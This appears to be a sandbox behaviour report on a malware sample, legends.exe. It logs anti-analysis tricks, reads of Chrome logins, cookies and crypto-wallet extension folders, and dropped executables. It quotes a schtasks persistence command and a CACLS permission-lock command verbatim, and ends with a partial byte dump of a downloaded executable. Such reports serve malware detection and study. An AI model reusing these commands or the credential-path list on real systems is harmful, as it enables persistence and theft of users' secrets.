NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 3012 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 3012 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2144 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2212 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e71000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2212 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e41000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2252 stack_dep_bypass: 1 stack_pivoted: 0 heap_dep_bypass: 1 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0018f000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e12000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 2228224 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00650000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00830000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73172000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73d8b000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72b32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 458752 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006c0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x006f0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005cc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73cba000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00800000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00801000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00802000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00803000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73871000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ee11000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6edee000 process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x6ec6b000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00804000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00805000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7381f000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005db000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005ca000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x005dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef58000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory May 30, 2023, 1:37 p.m.	process_identifier: 2340 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

legends.exe tried to sleep 150 seconds, actually delayed analysis time by 150 seconds

Queries the disk size which could be used to detect virtual machine with small fixed size or dynamic allocation (6 events)

Time & API	Arguments	Status	Return
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227672 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227672 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227276 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227276 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227124 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1
GetDiskFreeSpaceW May 30, 2023, 1:37 p.m.	number_of_free_clusters: 2227124 sectors_per_cluster: 8 bytes_per_sector: 512 root_path: \ total_number_of_clusters: 8362495	1	1

Steals private information from local Internet browsers (50 out of 65 events)

file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Web Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddffflal
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbml
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\CURRENT
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Local State
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcobl
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfel
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Cookies
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
file	C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc

Creates executable files on the filesystem (10 events)

file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\r2486584.exe
file	C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\o3829852.exe
file	C:\Users\test22\AppData\Local\Temp\IXP002.TMP\p7220078.exe
file	C:\Users\test22\AppData\Local\Temp\IXP001.TMP\z4553979.exe
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\z1392128.exe
file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\cred64.dll
file	C:\Users\test22\AppData\Local\Temp\IXP000.TMP\s8328851.exe
file	C:\Users\test22\AppData\Local\Temp\1000029001\kds7uq5kknv.exe

Creates a suspicious process (4 events)

cmdline	C:\Windows\system32\cmd.exe /S /D /c" echo Y"
cmdline	"C:\Windows\System32\cmd.exe" /k echo Y\|CACLS "legends.exe" /P "test22:N"&&CACLS "legends.exe" /P "test22:R" /E&&echo Y\|CACLS "..\41bde21dc7" /P "test22:N"&&CACLS "..\41bde21dc7" /P "test22:R" /E&&Exit
cmdline	SCHTASKS /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F
cmdline	"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F

Drops a binary and executes it (2 events)

file	C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe
file	C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe

Drops an executable to the user AppData folder (3 events)

file	C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll
file	C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe
file	C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe

A process created a hidden window (6 events)

Time & API	Arguments	Status	Return
ShellExecuteExW May 30, 2023, 1:38 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe	1	1
ShellExecuteExW May 30, 2023, 1:38 p.m.	show_type: 0 filepath_r: SCHTASKS parameters: /Create /SC MINUTE /MO 1 /TN legends.exe /TR "C:\Users\test22\AppData\Local\Temp\41bde21dc7\legends.exe" /F filepath: SCHTASKS	1	1
ShellExecuteExW May 30, 2023, 1:38 p.m.	show_type: 0 filepath_r: cmd parameters: /k echo Y\|CACLS "legends.exe" /P "test22:N"&&CACLS "legends.exe" /P "test22:R" /E&&echo Y\|CACLS "..\41bde21dc7" /P "test22:N"&&CACLS "..\41bde21dc7" /P "test22:R" /E&&Exit filepath: cmd	1	1
ShellExecuteExW May 30, 2023, 1:38 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000028001\kds7uq5kknv.exe	1	1
ShellExecuteExW May 30, 2023, 1:38 p.m.	show_type: 0 filepath_r: C:\Users\test22\AppData\Local\Temp\1000029001\kds7uq5kknv.exe parameters: filepath: C:\Users\test22\AppData\Local\Temp\1000029001\kds7uq5kknv.exe	1	1
ShellExecuteExW May 30, 2023, 1:39 p.m.	show_type: 0 filepath_r: rundll32.exe parameters: C:\Users\test22\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main filepath: rundll32.exe	1	1

Changes read-write memory protection to read-execute (probably to avoid detection when setting all RWX flags at the same time) (1 event)

Time & API	Arguments	Status	Return	Repeated
NtProtectVirtualMemory May 30, 2023, 1:38 p.m.	process_identifier: 1944 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 262144 protection: 32 (PAGE_EXECUTE_READ) base_address: 0x00401000 process_handle: 0x0000002c	1	0	0

An executable file was downloaded by the process legends.exe (3 events)

Time & API	Arguments	Status	Return
InternetReadFile May 30, 2023, 1:38 p.m.	buffer: MZÿÿ¸@øº´ Í!¸LÍ!This program cannot be run in DOS mode. $ K.ÛN@N@N@ZAC@@ZAEé@ZADX@.PD_@.PC[@ZAAI@NA@.PE@PIO@P¿O@PBO@RichN*@PEL0´ldà sn0@à @pP0@\|Ðçç0P.text· `.rdataòÙ0Ú$@@.dataäþ@À.rsrcà0@@.reloc\|@@B.Za2gL9`:$00.Za2gL9 :^00¹Hè>hg+Bè¥`YÃh{+Bè`YÃhq+Bè`YÃ¹Hé¨E¹HèÚ=h+Bèm`YÃjjhXH¹HèDh+BèN`YÃVWjè¥£Y¿XHðÏèØDÏÇXHt3BÆ HÆHèI¡°H ´H%Hh+B5¤H£H Hèè_Y_^Ã¹ìHè==h+BèÐ_YÃh£+BèÄ_YÃÌÌÌÌÌÌÌÌÌUìE]ÃÌÌÌÌÌÌÌÌUì¸È%H]ÃÌÌÌÌÌÌUìEPMQUREPèØÿÿÿHQRè·Ä]ÃÌÌÌÌÌÌÌUììEEüMMøjè²¢ÄEôUüRjEøPMôQèÿÿÿÄEðÇEüEðå]ÃÌÌÌÌÌÌÌÌÌÌUìì¡C3ÅEüMðEðÇÔ1B3ÉUðÂ JEEôÆEøMðÁQUôRèègÄEðMü3ÍèÊYå]ÂÌÌÌÌÌÌÌUìQMüEüÇÔ1B3ÉUüÂ JEüMHEüå]ÂÌUìQMüEüÇÔ1B3ÉUüÂ JEüÀPMÁQèkgÄEüå]ÂÌÌÌÌUìQMüEüÇÔ1BMüÁQè¢gÄå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUììMüEüxtMüQUøëÇEø`åBEøå]ÃÌÌÌÌÌUìQMüMüèÿÿÿEàtjMüQè YÄEüå]ÂÌÌUìQMüjEPMüèëþÿÿMüÇà1BEüå]ÂÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtjMüQè©XÄEüå]ÂÌÌUìQMüMüèÿÿÿå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUìQMühtåBMüèlÿÿÿEüÇX2BEüå]ÃÌÌÌÌÌÌÌÌÌÌÌÌUìQMüMüè!EàtjMüQè)XÄEüå]ÂÌÌUìQMüMüèqÿÿÿå]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌUììMôèrÿÿÿh´CEôPè×kå]ÃUìQMüEPMüèMüÇX2BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUìQMüEPMüèÍýÿÿMüÇà1BEüå]ÂÌÌÌÌÌÌÌÌÌÌÌUì¸ÿÿÿ]ÃÌÌÌÌÌÌUìEPè/WÄ]ÃÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌUììEÁ#U EMôºkÂÿMôUøÇEðE+MøMü}ür}ü#wë 